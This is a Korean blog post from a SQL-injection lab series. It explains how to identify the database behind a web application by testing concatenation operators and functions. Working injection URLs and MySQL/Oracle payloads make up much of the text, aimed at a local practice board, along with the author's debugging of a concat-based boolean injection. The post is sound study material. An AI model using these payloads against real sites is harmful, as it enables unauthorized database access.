Oh! JUN

데이터 조회 공격(환경 분석 실습) 본문

웹 해킹/SQL Injection

데이터 조회 공격(환경 분석 실습)

Kwon Oh! JUN 2022. 8. 12. 04:23

★데이터 조회 공격 상세 프로세스

 

이번 시간에는 환경 분석 실습을 해볼 것이다.


DBMS 파악

웹에서 사용하고 있는 DBMS(mysql, mssql, oracle, ...)을 파악해야 적절한 인젝션 공격을 할 수 있다.

DBMS를 파악하는 방법은 위의 방법들이 있는데 실무자에 의하면 연결 연산자를 가장 많이 사용한다고 한다.

 


ex)

★http://127.0.0.1/board/mysql/view.php?idx=11 and 'test'='te' 'st' mysql 연결 연산자
http://127.0.0.1/board/mysql/view.php?idx=11 and mid('test',1,1)='t' mysql 함수
http://127.0.0.1/board/mysql/view.php?idx=11 and length('test')=4 mysql, oracle 함수

 

※ 간혹 연결연산자를 필터링 하는 경우도 있음

select * from tb_board where title like '%t'||(case when 1=1 then 'e' else 'a' end)||'st%' oracle
select * from tb_board where title like '%aaa' or title like concat("%t", case when 1=1 then 'e' else 'a' end, "st%")-- %'; mysql

★ 주의(할 때 잘안돼서 고민함)

select * from tb_board where title like '%t' (case when 1=1 then 'e' else 'a' end) 'st%'

mysql에서 연결연산자를 우회할때 [공백]을 사용하라고 해서 위와 같이 했는데 안돼서 찾아보니까

 

Mysql의 경우 연결 연산자가 따로 존재하지 않는다.

다만 select 'te' 'st' 같은 경우 문자열과 문자열 사이에 공백이 존재할 경우 이를 붙여주는 역할을 할뿐 연산자가 아니다.

그래서 정리하면 mysql은 단순히 문자열 사이에 의미없는 문자가 사용될 경우 연결 연산자 기능을 하지만 다른게 올 경우 그런 기능을 하지 못한다. 그래서 mysql에서 연결연산자는 concat함수를 사용해야한다.

 

그래서 첫번째로 해본게

concat('"%t"', '(','case', space(1), 'when',  space(1), '1=1', space(1),'then', space(1), '''e''', space(1), 'else', space(1), '''a''', space(1), 'end',')','"st%"');
"%t"(case when 1=1 then 'e' else 'a' end)"st%"

concat 함수를 사용해서 쿼리를 확인하면 아래와 같이 되는데 이것을 다시

select * from tb_board where title like '%aaa' or title like concat('"%t"', '(','case', space(1), 'when',  space(1), '1=1', space(1),'then', space(1), '''e''', space(1), 'else', space(1), '''a''', space(1), 'end',')','"st%"')-- %';

위와 같은 쿼리에 넣어서 실행해보니까 아무것도 출력이 되지 않는다.

그래서 무엇이 문제인가 확인해보니 아래와 같이 해줘야한다.

select * from tb_board where title like '%aaa' or title like concat("%t", case when 1=1 then 'e' else 'a' end, "st%")-- %';

concat에 들어간다고 다 문자열 형태로 해야되나 했는데 확인해보니까 기존의 "%t", "st%"과 조건문에 의해 반환되는 값만 문자열 형태로 놓고 나머지는 문법형이니까 그대로 하니까 실행되었다.

 

aaa' or title like concat("%t", case when 1=1 then 'e' else 'a' end, "st%");--[공백] 

 

test가 들어간 게시판만 검색된것을 확인할 수 있다.

정리하면 concat함수를 통해 인젝션을 성공했으므로 DBMS가 Mysql인것을 알 수 있다.